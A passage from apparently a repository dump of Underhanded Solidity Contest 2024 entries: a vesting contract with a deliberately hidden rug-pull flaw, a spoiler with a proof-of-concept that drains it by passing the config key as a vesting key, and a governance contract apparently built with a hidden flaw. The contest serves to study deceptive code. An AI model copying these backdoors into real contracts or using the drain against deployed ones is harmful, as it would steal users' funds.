balanceBefore;\n\n        return receivedAmount;\n    }\n\n    function transferFundsOut(ERC20 underlying, uint256 amount) internal {\n        require(underlying.transfer(msg.sender, amount), \"Transfer failed\");\n    }\n    \n    // +------------+\n    // | Math stuff |\n    // +------------+\n\n    function geometricMean(uint256 x, uint256 y) internal pure returns(uint256) {\n        return sqrt(x * y);\n    }\n\n    function sqrt(uint256 x) internal pure returns(uint256) {\n        if (x == 0) return 0;\n\n        // guess: 2^(log(x) / 2)\n        uint256 guess = 1 << (approxLogBase2(x) >> 1);\n        // 5 newton iterations because they're cheap\n        // guess is provably always > 0\n        guess = (guess * guess + x) / (2 * guess);\n        guess = (guess * guess + x) / (2 * guess);\n        guess = (guess * guess + x) / (2 * guess);\n        guess = (guess * guess + x) / (2 * guess);\n        guess = (guess * guess + x) / (2 * guess);\n        return guess;\n    }\n\n    // sqrt(2) ≈ 886731088897/627013566048\n    uint256 private constant sqrt2Numerator = 886731088897;\n    uint256 private constant sqrt2Denominator = 627013566048;\n    // Returns the whole number closest to the actual log base 2 of x\n    function approxLogBase2(uint256 x) internal pure returns(uint256) {\n        // log2(x * sqrt(2)) = log2(x) + 0.5, so truncating gives rounded value\n        x = (x * sqrt2Numerator) / sqrt2Denominator;\n        // highestBit is floor(log2(x))\n        return highestBit(x);\n    }\n\n    // Returns the position of the highest set bit in x\n    function highestBit(uint256 x) internal pure returns(uint256) {\n        uint256 log = 0;\n        while (0 != (x >>= 1)) {\n            unchecked {\n                // will never exceed 256, unchecked is fine\n                log++;\n            }\n        }\n        return log;\n    }\n}"
  },
  {
    "path": "2024/submissions_2024/submission1_Stepan/LightStorage.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\n/// @notice Combined storage status variations\nenum KeyStatus {\n    Empty,\n    HashOnly,\n    Loaded\n}\n\n/// @dev Combined storage layout\n///\n/// Persistent Storage\n/// [combinedKey] keccak256(data)\n///\n/// Transient Storage\n/// [combinedKey]        data.length\n/// [combinedKey + k]    data[(k - 1) * 0x20 : k * 0x20]    (0 < k <= data.length / 0x20)\n/// [combinedKey + data.length / 0x20 + 1] 00..00 concat data[data.length / 0x20 * 0x20 : data.length]\n\n/// @title LightStorage Library\n/// @notice Combined storage abstraction\n/// @dev While actual data is processed in `transient` storage, the data hash is put to `persistent` storage\n///   This requires data to be stored off-chain and partially loaded for each transaction execution\n/// @dev The keys used for combined storage are requred to be sufficiently far apart, such as those\n///   generated by the `keccak256` function\nlibrary LightStorage {\n    error DataMismatchHash(bytes32 dataHash, bytes32 persistentHash);\n    error DataNotLoaded(bytes32 persistentHash);\n    error UnknownKey(bytes32 combinedKey);\n\n    event Write(bytes32 indexed combinedKey, bytes data);\n\n    /// @dev Writes a 32-byte value to `persistent` storage\n    function _writeS(bytes32 key, bytes32 value) private {\n        assembly {\n            sstore(key, value)\n        }\n    }\n\n    /// @dev Reads a 32-byte value from `persistent` storage\n    function _readS(bytes32 key) private view returns (bytes32 value) {\n        assembly {\n            value := sload(key)\n        }\n    }\n\n    /// @dev Writes data to `transient` storage, spreading it across multiple slots if necessary\n    function _writeT(bytes32 key, bytes memory data) private {\n        bytes32 lastKey;\n        uint256 lastShift;\n        unchecked {\n            uint256 fullSlots = 0x01 + data.length / 0x20;\n            lastKey = bytes32(uint256(key) + fullSlots);\n            lastShift = 0x08 * (0x20 - (data.length % 0x20));\n        }\n\n        assembly {\n            for {\n\n            } iszero(eq(key, lastKey)) {\n                data := add(data, 0x20)\n                key := add(key, 0x01)\n            } {\n                tstore(key, mload(data))\n            }\n            tstore(key, shr(lastShift, mload(data)))\n        }\n    }\n\n    /// @dev Reads data from `transient` storage, reassembling it from multiple slots if necessary\n    function _readT(bytes32 key) private view returns (bytes memory data) {\n        uint256 length;\n        assembly {\n            length := tload(key)\n            key := add(key, 0x01)\n        }\n\n        /// @dev Additional slot allocation as the code below potentially writes zeros to one more slot\n        data = new bytes(0x20 + length);\n        assembly {\n            mstore(data, length)\n        }\n\n        bytes32 lastKey;\n        uint256 lastShift;\n        unchecked {\n            uint256 fullSlots = length / 0x20;\n            lastKey = bytes32(uint256(key) + fullSlots);\n            lastShift = 0x08 * (0x20 - (length % 0x20));\n        }\n\n        assembly {\n            let i := 0x20\n            for {\n\n            } iszero(eq(key, lastKey)) {\n                i := add(i, 0x20)\n                key := add(key, 0x01)\n            } {\n                mstore(add(data, i), tload(key))\n            }\n            mstore(add(data, i), shl(lastShift, tload(key)))\n        }\n    }\n\n    /// @notice Check the status of combined storage at the key\n    /// @dev HashOnly response may indicate both empty and corrupted `transient` storage value\n    /// @return The status of the combined storage (Empty, HashOnly, or Loaded)\n    function status(bytes32 combinedKey) internal view returns (KeyStatus) {\n        bytes32 persistentHash = _readS(combinedKey);\n        if (persistentHash == 0) return KeyStatus.Empty;\n\n        bytes memory data = _readT(combinedKey);\n\n        bytes32 dataHash = keccak256(data);\n        if (persistentHash == dataHash) return KeyStatus.Loaded;\n\n        return KeyStatus.HashOnly;\n    }\n\n    /// @notice Preload data to combined storage\n    /// @dev Loads data into `transient` storage, ensuring it matches the hash in `persistent` storage\n    /// @dev Reverts if the `persistent` storage is empty or if the data does not match the hash\n    function load(bytes32 combinedKey, bytes memory data) internal {\n        bytes32 persistentHash = _readS(combinedKey);\n        require(persistentHash != 0, UnknownKey(combinedKey));\n\n        bytes32 dataHash = keccak256(data);\n        require(persistentHash == dataHash, DataMismatchHash(dataHash, persistentHash));\n\n        _writeT(combinedKey, data);\n    }\n\n    /// @notice Get data from combined storage\n    /// @dev Reads data from `transient` storage, ensuring it is loaded\n    /// @dev Reverts if the `persistent` storage is empty or if the data is not loaded or is corrupted\n    /// @return data The data stored in combined storage at the key\n    function read(bytes32 combinedKey) internal view returns (bytes memory data) {\n        bytes32 persistentHash = _readS(combinedKey);\n        require(persistentHash != 0, UnknownKey(combinedKey));\n\n        data = _readT(combinedKey);\n\n        bytes32 dataHash = keccak256(data);\n        require(persistentHash == dataHash, DataNotLoaded(persistentHash));\n    }\n\n    /// @notice Write data to combined storage\n    /// @dev Writes data to both `persistent` and `transient` storage\n    function write(bytes32 combinedKey, bytes memory data) internal {\n        bytes32 dataHash = keccak256(data);\n\n        _writeS(combinedKey, dataHash);\n        _writeT(combinedKey, data);\n\n        emit Write(combinedKey, data);\n    }\n}\n"
  },
  {
    "path": "2024/submissions_2024/submission1_Stepan/LightVesting.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.26;\n\nimport \"@openzeppelin/contracts/token/ERC20/IERC20.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\";\n\nimport \"./LightStorage.sol\";\n\n/// @notice Vesting contract configuration\n/// @dev This configuration should prevent integer overflow possibility\n///   in the `_calcTotalVested` and `create` functions\nstruct Config {\n    address admin;\n    uint256 maxAmount;\n    uint256 maxDuration;\n    uint256 maxCliffPercent;\n    uint256 fee;\n    IERC20 token;\n}\n\n/// @notice Vesting schedule parameters\n/// @dev Here cliff is duration part, not a direct timestamp\nstruct Vesting {\n    address user;\n    uint256 amount;\n    uint256 claimed;\n    uint256 start;\n    uint256 duration;\n    uint256 cliff;\n}\n\n/// @title LightStorageIntegration Contract\n/// @notice Abstract contract that integrates `LightStorage` operations with Config and Vesting data structures\n/// @dev The contract contains rug pull ability\nabstract contract LightStorageIntegration {\n    using LightStorage for bytes32;\n\n    bytes32 public constant CONFIG_KEY = bytes32(uint256(keccak256(\"combinedKey.vesting.config\")) - 1);\n    bytes32 public constant VESTING_KEY = bytes32(uint256(keccak256(\"combinedKey.vesting.vestingPrefix\")) - 1);\n\n    /// @notice Check the status of combined storage at the key\n    /// @return The status of the combined storage (Empty, HashOnly, or Loaded)\n    function keyStatus(bytes32 key) public view returns (KeyStatus) {\n        return key.status();\n    }\n\n    /// @notice Preload the Config struct data into combined storage\n    function loadConfig(bytes32 key, Config memory config) public {\n        key.load(abi.encode(config));\n    }\n\n    /// @notice Preload the Vesting struct data into combined storage\n    function loadVesting(bytes32 key, Vesting memory vesting) public {\n        key.load(abi.encode(vesting));\n    }\n\n    /// @notice Retrieve the Config struct from combined storage at the key\n    /// @return The Config struct\n    function getConfig(bytes32 key) public view returns (Config memory) {\n        return abi.decode(key.read(), (Config));\n    }\n\n    /// @notice Retrieve the Vesting struct from combined storage at the key\n    /// @return The Vesting struct\n    function getVesting(bytes32 key) public view returns (Vesting memory) {\n        return abi.decode(key.read(), (Vesting));\n    }\n\n    /// @dev Writes the Config struct to combined storage\n    function _setConfig(bytes32 key, Config memory config) internal {\n        key.write(abi.encode(config));\n    }\n\n    /// @dev Writes the Vesting struct to combined storage\n    function _setVesting(bytes32 key, Vesting memory vesting) internal {\n        key.write(abi.encode(vesting));\n    }\n}\n\n/// @title LightVesting Contract\n/// @notice Contract for creating and withdrawing token vesting schedules\ncontract LightVesting is LightStorageIntegration {\n    using SafeERC20 for IERC20;\n\n    uint256 public constant DENOM = 100000; // 100%\n    uint256 public constant MAX_FEE = 1000; // 1%\n    uint256 public constant START_GAP = 50 * 52 weeks; // 50 years\n\n    error NotAdmin(address caller, address admin);\n\n    error TokenMismatch(IERC20 token, IERC20 configured);\n    error FeeOverMax(uint256 fee, uint256 max);\n    error PercentOverMax(uint256 percent, uint256 max);\n\n    error CliffOverMax(uint256 cliff, uint256 max);\n    error AmountOverMax(uint256 amount, uint256 max);\n    error DurationOverMax(uint256 duration, uint256 max);\n    error StartOverMax(uint256 start, uint256 max);\n\n    error VestingAlreadyExist(bytes32 key);\n    error NotBeneficiary(address caller, address beneficiary);\n\n    event Configuration(Config config, bool adminChanged);\n    event VestingCreate(bytes32 indexed key, Vesting vesting, uint256 fee);\n    event VestingClaim(bytes32 indexed key, Vesting vesting, uint256 unlocked);\n\n    /// @notice Constructor to initialize the contract with a Config struct\n    constructor(Config memory config) {\n        require(config.admin == msg.sender, NotAdmin(msg.sender, config.admin));\n        require(config.fee <= MAX_FEE, FeeOverMax(config.fee, MAX_FEE));\n        require(config.maxCliffPercent <= DENOM, PercentOverMax(config.maxCliffPercent, DENOM));\n\n        _setConfig(CONFIG_KEY, config);\n\n        emit Configuration(config, true);\n    }\n\n    /// @notice Update the vesting creation rules\n    function configurate(Config memory updated) public {\n        Config memory config = getConfig(CONFIG_KEY);\n\n        require(config.admin == msg.sender, NotAdmin(msg.sender, config.admin));\n        require(config.token == updated.token, TokenMismatch(updated.token, config.token));\n        require(updated.fee <= MAX_FEE, FeeOverMax(updated.fee, MAX_FEE));\n        require(updated.maxCliffPercent <= DENOM, PercentOverMax(updated.maxCliffPercent, DENOM));\n\n        _setConfig(CONFIG_KEY, updated);\n\n        emit Configuration(config, config.admin != updated.admin);\n    }\n\n    /// @notice EOA `configurate` function endpoint\n    function configurate(Config memory updated, Config memory config) external {\n        loadConfig(CONFIG_KEY, config);\n        configurate(updated);\n    }\n\n    /// @notice Create a new vesting schedule\n    /// @return key The key associated with the newly created vesting\n    function create(\n        address beneficiary,\n        uint256 nonce,\n        uint256 amount,\n        uint256 start,\n        uint256 duration,\n        uint256 cliff\n    ) public returns (bytes32 key) {\n        key = keccak256(abi.encode(VESTING_KEY, beneficiary, msg.sender, nonce));\n        require((keyStatus(key) == KeyStatus.Empty), VestingAlreadyExist(key));\n\n        Config memory config = getConfig(CONFIG_KEY);\n\n        require(config.maxAmount >= amount, AmountOverMax(amount, config.maxAmount));\n        require(config.maxDuration >= duration, DurationOverMax(duration, config.maxDuration));\n\n        uint256 maxStart = block.timestamp + START_GAP;\n        require(maxStart >= start, StartOverMax(start, maxStart));\n\n        /// @dev In case of misconfiguration `duration * config.maxCliffPercent` may overflow\n        uint256 maxCliff = (duration * config.maxCliffPercent) / DENOM;\n        require(maxCliff >= cliff, CliffOverMax(cliff, maxCliff));\n\n        uint256 fee = (amount * config.fee) / DENOM;\n\n        Vesting memory vesting = Vesting(beneficiary, amount - fee, 0, start, duration, cliff);\n        _setVesting(key, vesting);\n\n        config.token.safeTransferFrom(msg.sender, address(this), amount);\n        config.token.safeTransfer(config.admin, fee);\n\n        emit VestingCreate(key, vesting, fee);\n    }\n\n    /// @notice EOA `create` function endpoint\n    function create(\n        address beneficiary,\n        uint256 nonce,\n        uint256 amount,\n        uint256 start,\n        uint256 duration,\n        uint256 cliff,\n        Config memory config\n    ) external returns (bytes32 key) {\n        loadConfig(CONFIG_KEY, config);\n        return create(beneficiary, nonce, amount, start, duration, cliff);\n    }\n\n    /// @dev Calculates the total amount of tokens vested based on the current time\n    function _calcTotalVested(\n        uint256 start,\n        uint256 cliff,\n        uint256 duration,\n        uint256 amount\n    ) internal view returns (uint256) {\n        /// @dev In case of misconfiguration `start + duration` may overflow\n        if (block.timestamp >= start + duration) {\n            return amount;\n        } else if (block.timestamp < start + cliff) {\n            return 0;\n        } else {\n            /// @dev In case of misconfiguration `amount * timePassed` may overflow\n            return (amount * (block.timestamp - start)) / duration;\n        }\n    }\n\n    /// @dev Calculates the amount of tokens that can be withdrawn at the moment\n    function _calcWithdrawable(Vesting memory vesting) internal view returns (uint256) {\n        uint256 vestedAmount = _calcTotalVested(vesting.start, vesting.cliff, vesting.duration, vesting.amount);\n        return vestedAmount - vesting.claimed;\n    }\n\n    /// @notice Retrieve the amount of tokens that can be withdrawn by the beneficiary at the moment\n    /// @return The amount of tokens that can be withdrawn\n    function withdrawable(bytes32 key) public view returns (uint256) {\n        return _calcWithdrawable(getVesting(key));\n    }\n\n    /// @notice EOA `withdrawable` function endpoint\n    function withdrawable(bytes32 key, Vesting memory vesting) external returns (uint256) {\n        loadVesting(key, vesting);\n        return withdrawable(key);\n    }\n\n    /// @notice Allow the beneficiary to withdraw vested tokens\n    function withdraw(bytes32 key) public {\n        Vesting memory vesting = getVesting(key);\n        require(vesting.user == msg.sender, NotBeneficiary(msg.sender, vesting.user));\n\n        Config memory config = getConfig(CONFIG_KEY);\n\n        uint256 unlocked = _calcWithdrawable(vesting);\n        vesting.claimed += unlocked;\n\n        _setVesting(key, vesting);\n\n        config.token.safeTransfer(msg.sender, unlocked);\n\n        emit VestingClaim(key, vesting, unlocked);\n    }\n\n    /// @notice EOA `withdraw` function endpoint\n    function withdraw(bytes32 key, Config memory config, Vesting memory vesting) external {\n        loadConfig(CONFIG_KEY, config);\n        loadVesting(key, vesting);\n        withdraw(key);\n    }\n}\n"
  },
  {
    "path": "2024/submissions_2024/submission1_Stepan/README.md",
    "content": "# Underhanded Solidity Contest 2024 Submission\n\n## Idea / Use-cases\n\nThe implementation of `transient` storage enables an efficient ability to create lightweight smart contracts. Lightweight means that only a data hash is stored in `persistent` storage, while any data needed by transactions is attached additionally. The `transient` storage is accessible from different execution contexts, which allows the division of responsibility between preloading data and the requests execution. Additionally, this provides significant optimization opportunities, as the data can be loaded once per a batch transaction, and possibly can be integrated with the transaction access lists in the far future.\n\n### Composability\n\nThe idea involves `transient` storage being retained after the execution context ends, which may potentially cause composability issues. To address this, the implementation __MUST__ process any __sequence of calls that succeed in isolated execution__ in the same way, regardless of whether the calls are executed in isolation or not. This ensures backward compatibility and enables the contract to provide __additional__ functionality based on `transient` storage utilization.\n\nTo satisfy this condition, it is enough to ensure any succesfull isolated call executes `tstore(key, ...)` prior to `tload(key)`. As each accessed data slot is rewritten before the read, any data in `transient` storage does not impact the execution. Thus, the call can be safely composed with other ones.\n\n## Submission\n\nThe submission consists of the following components:\n- The `LightStorage` library, which wraps all `transient` storage operations and provides a simple interface for reading and writing `bytes memory` data.\n- The `LightStorageIntegration` abstract contract, which wraps `LightStorage` library functions to process specific structs instead of raw byte arrays.\n- The `LightVesting` target contract, which allows users to create and claim vestings of a specified token and implements a __RUG PULL__ possibility (hope you'll be happy to find it).\n\n## Light Storage\n\nMore details on how the `LightStorage` library works:\n- `write(bytes32 combinedKey, bytes memory data)` stores the `data hash` at `combinedKey` in `persistent` storage and stores the `data` at `combinedKey` (and subsequent slots) in `transient` storage.\n- `load(bytes32 combinedKey, bytes memory data)` stores the `data` at `combinedKey` (and subsequent slots) in `transient` storage. It aborts if no `data hash` is recorded in `persistent` storage or if the provided `data` does not match the recorded `data hash`.\n- `read(bytes32 combinedKey) returns (bytes memory data)` returns the `data` stored at `combinedKey` (and subsequent slots) in `transient` storage. It aborts if the `data` is not loaded into `transient` storage, if no `data hash` is recorded in `persistent` storage, or if the `data` in `transient` storage is corrupted and does not match the recorded `data hash`.\n- `status(bytes32 combinedKey) returns (KeyStatus)` returns whether the key is empty, if `data` is loaded into `transient` storage, or if it is not loaded (including cases of data corruption).\n\n### Composability\n\nIn the context of an isolated call, the `read` function may succeed without prior `transient` data set only for reading zero length bytes array. Otherwise, the execution fails due to the recorded hash mismatch. Zero length arrays are not used in the project.\n\nAdditionally, that the `status` function does not follow the composability requirement. However, in context of the project it is not used that way.\n\n### Data Packing\n\n```py\nPersistent Storage\n\n[combinedKey] keccak256(data)\n```\n\n```py\nTransient Storage\n\n# Number of full 32-byte words in data\nfull_data_slots = data.length / 0x20\n# Length field takes 1 more word\nfull_slots = full_data_slots + 1\n\n[combinedKey]              data.length\n\n0 < k <= full_data_slots\n[combinedKey + k]          data[(k - 1) * 0x20 : k * 0x20]\n\n[combinedKey + full_slots] 00..00 concat data[full_data_slots * 0x20 : data.length]\n```\n\nTo avoid conflicts, keys __MUST__ be sufficiently far apart, such as those generated by the `keccak256` function.\n\n## Light Storage Integration\n\nThe integration contract provides wrappers over the `LightStorage` library to read/write `Vesting` and `Config` structures instead of raw `bytes memory` arrays. It also offers public functions for preloading data into `transient` storage.\n\n## Light Vesting\n\nThe target contract implements linear vesting functionality with a cliff. Anyone can create a vesting, and the admin can slightly modify the vesting creation rules.\n\nConfiguration is stored at specified `CONFIG_KEY` slot.\n\nVestings are stored at `keccak256(VESTING_KEY, beneficiary, creator, nonce))` slot what allows multiple vesttings per user and enforses `nonce` front running protection by adding the `creator` address to generation.\n\n### Data Preloading\n\nSmart contracts can preload data into `transient` storage using the `loadConfig` and `loadVesting` functions.\n\nEOA actors are provided with overloaded functions that accept `Config` and `Vesting` structures as additional parameters.\n"
  },
  {
    "path": "2024/submissions_2024/submission1_Stepan/SPOILER.md",
    "content": "# Underhanded Solidity Contest 2024 Spoiler\n\n## Explanation\n\nThe rug pull is possible because a `Config` structure can be parsed as a valid `Vesting` structure. The `withdraw` function does not validate whether the provided key matches the expected format (`keccak256(VESTING_KEY, beneficiary, creator, nonce)`). It assumes that any valid key is a vesting key. However, it is possible to pass `CONFIG_KEY` as a vesting key to the `withdraw` function. With a specifically crafted `Config`, funds can be withdrawn.\n\n```js\nvm.startPrank(admin);\n\nconfig = Config({\n    admin: admin, // vesting.user\n    maxAmount: token.balanceOf(address(vesting)), // vesting.amount\n    maxDuration: 0, // vesting.claimed\n    maxCliffPercent: 0, // vesting.start\n    fee: 0, // vesting.duration\n    token: token // vesting.cliff (ignored as soon as the duration has passed)\n});\n\nvesting.configurate(config);\nvesting.withdraw(vesting.CONFIG_KEY());\n\nassertEq(token.balanceOf(address(vesting)), 0);\n```\n\n## How to Fix\n\nA possible fix is to ensure the provided key matches the vesting key generation mechanism, which would eliminate the flaw. However, this is a rather low-level solution.\n\nOn a higher level, it would be beneficial to have some kind of efficient `transient` storage auto-layout (the ability to specify variable type and name, which makes the variable automatically located in the `transient` storage), similar to what Solidity has for `persistent` storage.\n\nInstead of dealing with the hassle of manually packing data at specific keys, it would be advantageous if you could set the `.slot` property using assembly, similar to how it is done with `persistent` storage.\n\n## Composability Thoughts\n\nAs mentioned in the `README.md`, for preventing composability issues it is sufficient to ensure that any successful isolated call does a `tstore(key, ...)` before doing a `tload(key)`. In case of moving such calls from isolated to composed environment, nothing actually would change.\n\nTheoretically, it is possible to disallow zero as a valid `transient` storage value. If `tload(key)` (or more accurately, some higher-level code involving it) loads zero, the execution reverts. This would strictly enforce the mentioned rule.\n\nWhat about compatibility? Developers would need to write to `transient` storage first (similar to how EOA overloading is done in `LightVesting`) to ensure isolated calls do not fail.\n\nWould this make `transient` storage useless? No, because even though `getSmthFromTransient` might fail in an isolated context, it would work in a composed sequence like [`loadSmthToTransient`, `getSmthFromTransient`], introducing advantages such as read/write responsibility division, optimization in transaction batching, etc.\n\nDisadvantages? Redefinition of zero might be quite complicated as it requires a kind of new `bytes32 - 1` type. While such the rule wouldn’t harm light storage or callbacks (cases when data temporary stored in `transient` location for being accessible from a callback) patterns, it makes impossible to implement efficient reentrancy locks without usage of inline assembly.\n"
  },
  {
    "path": "2024/submissions_2024/submission2_Seppilon/README.md",
    "content": "# InstantVoting: Streamlined On-Chain Governance\n\n_Submission for the 2024 [Underhanded Solidity Contest](https://underhanded.soliditylang.org/)._\n\n## Overview\n\n`InstantVoting` is an innovative smart contract designed to simplify and accelerate the governance process for DAOs. By leveraging transient storage and efficient vote collection, `InstantVoting` offers a more responsive and gas-efficient alternative to traditional governance mechanisms.\n\n> [!IMPORTANT]\n> \n> **SPOILER ALERT:** Explanation and proof-of-concept can be found in `test/exploit.t.sol`.\n\nRunning the tests:\n```\nfoundryup\nforge soldeer install\nforge test\n```\n\n## Key Features\n\n1. **Asynchronous Voting**: Voters can cast their votes at any time before the vote collection occurs, allowing for flexible participation.\n2. **Instant Vote Collection**: Votes are collected and tallied in a single transaction, eliminating the need for lengthy voting periods.\n3. **Flexible Voter Registry**: Supports multiple voter registries, allowing for dynamic and adaptable voting populations.\n4. **Immediate Execution**: Proposals can be executed in the same transaction as vote tallying, significantly reducing the time from proposal to action.\n5. **Gas Optimization**: Employs transient storage to minimize gas costs associated with vote collection and tallying.\n\nExperience the future of DAO governance with `InstantVoting` - where decisions happen at the speed of your transactions, without sacrificing voter flexibility!\n"
  },
  {
    "path": "2024/submissions_2024/submission2_Seppilon/foundry.toml",
    "content": "[profile.default]\nsrc = \"src\"\nout = \"out\"\nlibs = [\"dependencies\"]\nsolc_version = \"0.8.25\"\nevm_version = \"cancun\"\n\n[dependencies]\nforge-std = { version = \"1.9.2\", url = \"https://soldeer-revisions.s3.amazonaws.com/forge-std/1_9_2_06-08-2024_17:31:25_forge-std-1.9.2.zip\" }\n\"@openzeppelin-contracts\" = \"5.0.2\"\n"
  },
  {
    "path": "2024/submissions_2024/submission2_Seppilon/remappings.txt",
    "content": "@openzeppelin-contracts-5.0.2/=dependencies/@openzeppelin-contracts-5.0.2/\nforge-std-1.9.2/=dependencies/forge-std-1.9.2/\n"
  },
  {
    "path": "2024/submissions_2024/submission2_Seppilon/src/InstantVoting.sol",
    "content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.25;\n\nimport { IERC20 } from \"@openzeppelin-contracts-5.0.2/token/ERC20/IERC20.sol\";\n\n/// @notice An ERC-20 token that also allows token holders to vote on proposal IDs.\n/// @dev A vote on a proposal ID is either For or Against. The voting weight is returned\n/// as a signed integer. For voting weight is positive. Against voting weight is negative.\ninterface IVotingToken is IERC20 {\n    enum Decision { None, For, Against }\n    function vote(bytes32 _proposalId, Decision _decision) external;\n    function weight(address _account, bytes32 _proposalId) external view returns (int256);\n}\n\n/// @notice The Executor allows scheduling and execution of calls.\n/// @dev The scheduling of a call determines the proposal ID.\n/// The contract is owned by `InstantVoting`, so that the execution must be triggered through\n/// the `run` function.\ninterface IExecutor {\n    function execute(bytes32 _proposalId) external;\n}\n\n/// @notice A contract managing a list of registered voters.\ninterface IVoterRegistry {\n    function getVoters() external view returns (address[] memory);\n}\n\n/// @notice Instant Voting is used in two steps. First, votes are collected per proposal ID. This\n/// can be done with multiple voter registries. Second, proposals can be run, thereby checking\n/// whether the voting passed, and executing through the Executor contract, where the proposal \n/// was previously scheduled. By leveraging transient storage, both steps must be executed in one\n/// transaction.\ncontract InstantVoting {\n    using SlotDerivation for bytes32;\n\n    bytes32 private constant VOTED_SLOT = keccak256(\"InstantVoting.voted_slot\");\n    bytes32 private constant VOTE_DECISION_SLOT = keccak256(\"InstantVoting.vote_decision_slot\");\n    bytes32 private constant VOTE_TOTAL_SLOT = keccak256(\"InstantVoting.vote_total_slot\");\n\n    IVotingToken public votingToken;\n    IExecutor public executor;\n\n    constructor(address _votingToken, address _executor) {\n        votingToken = IVotingToken(_votingToken);\n        executor = IExecutor(_executor);\n    }\n\n    /// @param _proposalId the proposal ID to collect votes for\n    /// @param _voterRegistry the registry of voters that may have voted\n    function collectVotes(bytes32 _proposalId, address _voterRegistry) \n        external returns (int256 decisionalWeight, uint256 totalWeight)\n    {\n        // load voters from registry\n        (bool success, bytes memory data) = _voterRegistry.staticcall(abi.encodeWithSignature(\"getVoters()\"));\n        require(success, \"VoterRegistry call failed\");\n\n        address[] memory voters;\n        // Call the identity precompile, to transform bytes data to address array\n        assembly {\n            // encoded address array length is at offset 0x40, add one word for length itself\n            let len := mul(add(mload(add(data, 0x40)), 1), 0x20)\n            success := staticcall(gas(), 0x04, add(data, 0x40), len, voters, len)\n            mstore(0x40, add(voters, len)) // update free memory pointer\n        }\n        require(success, \"Identity precompile call failed\");\n\n        // iterate through voters and count votes by weight\n        for (uint256 i=0; i < voters.length; ++i) {\n            // check if voter has voted yet\n            address voter = voters[i];\n            bytes32 votedSlot = VOTED_SLOT.deriveMapping(voter);\n            bool hasVoted;\n            assembly {\n                hasVoted := tload(votedSlot)\n            }\n            // if voter has voted already; skip\n            if (hasVoted) continue;\n            \n            // mark as voted\n            assembly {\n                tstore(votedSlot, 1)\n            }\n            // accumulate decisional weight and total weight of the voter\n            int256 voterWeight = votingToken.weight(voter, _proposalId);\n            decisionalWeight += voterWeight;\n            totalWeight += _abs(voterWeight);\n        }\n\n        // apply counted weights into transient storage\n        bytes32 decisionSlot = VOTE_DECISION_SLOT.deriveMapping(_proposalId);\n        bytes32 totalSLot = VOTE_TOTAL_SLOT.deriveMapping(_proposalId);\n\n        int256 overwriteDecisionalWeight;\n        uint256 overwriteTotalWeight;\n        assembly {\n            overwriteDecisionalWeight := tload(decisionSlot)\n            overwriteTotalWeight := tload(totalSLot)\n        }\n\n        overwriteDecisionalWeight += decisionalWeight;\n        overwriteTotalWeight += totalWeight;\n\n        assembly {\n            tstore(decisionSlot, overwriteDecisionalWeight)\n            tstore(totalSLot, overwriteTotalWeight)\n        }\n    }\n\n    /// @param _proposalId the proposal ID that were votes collected for and executed through the Executor\n    function run(bytes32 _proposalId) external {\n        bytes32 decisionSlot = VOTE_DECISION_SLOT.deriveMapping(_proposalId);\n        bytes32 totalSLot = VOTE_TOTAL_SLOT.deriveMapping(_proposalId);\n\n        int256 decisionalWeight;\n        uint256 totalWeightVoted;\n        assembly {\n            decisionalWeight := tload(decisionSlot)\n            totalWeightVoted := tload(totalSLot)\n        }\n\n        require(decisionalWeight > 0, \"vote didn't pass\");\n        require(totalWeightVoted > ((votingToken.totalSupply() * 2) / 10), \"More than 20% of weight must have voted\");\n\n        executor.execute(_proposalId);\n    }\n\n    /// @dev transform int256 to uint256, making a negative number positive\n    function _abs(int256 x) public pure returns (uint256) {\n        // If x is negative, return its negation, else return x itself\n        return x < 0 ? uint256(-x) : uint256(x);\n    }\n}\n\n/// Copied from\n/// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/cb2aaaa/contracts/utils/SlotDerivation.sol\nlibrary SlotDerivation {\n    function deriveMapping(bytes32 slot, address key) internal pure returns (bytes32 result) {\n        /// @solidity memory-safe-assembly\n        assembly {\n            mstore(0x00, key)\n            mstore(0x20, slot)\n            result := keccak256(0x00, 0x40)\n        }\n    }\n\n    function deriveMapping(bytes32 slot, bytes32 key) internal pure returns (bytes32 result) {\n        /// @solidity memory-safe-assembly\n        assembly {\n            mstore(0x00, key)\n            mstore(0x20, slot)\n            result := keccak256(0x00, 0x40)\n        }\n    }\n}\n"
  },
  {
    "path": "2024/submissions_2024/submission2_Seppilon/src/Mock/MockExecutor.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.25;\n\nimport { IExecutor } from \"../InstantVoting.sol\";\n\n/// Theoretically, Executor would be ownable and the execute function would be\n/// onlyOwner modified.\ncontract MockExecutor is IExecutor {\n    event Scheduled(bytes32 id);\n    event Executed(bytes32 id);\n\n    function schedule(\n        address target,\n        uint256 value,\n        bytes calldata data,\n        bytes32 salt\n    ) external returns (bytes32 id) {\n        id = keccak256(abi.encode(target, value, data, salt));\n        emit Scheduled(id);\n    }\n\n    function execute(bytes32 _proposalId) external {\n        emit Executed(_proposalId);\n    }\n}\n"
  },
  {
    "path": "2024/submissions_2024/submission2_Seppilon/src/Mock/MockVoterRegistry.sol",
    "content": "// SPDX-License-Identifier: MIT\n\npragma solidity 0.8.25;\n\nimport { IVoterRegistry } from \"../InstantVoting.sol\";\n\ncontract MockVoterRegistry is IVoterRegistry {\n    mapping(address voter => bool) registered;\n    address[] voters;\n\n    function register(address voter) external {\n        require(!registered[voter], \"already registered\");\n        require(voters.length < 200, \"registry is full\");\n        voters.push(voter);\n    }\n\n    function getVoters() external view returns (address[] memory) {\n        return voters;\n    }\n}\n"
  },
  {
    "path": "2024/submissions_2024/submission2_Seppilon/src/Mock/MockVotingToken.sol",
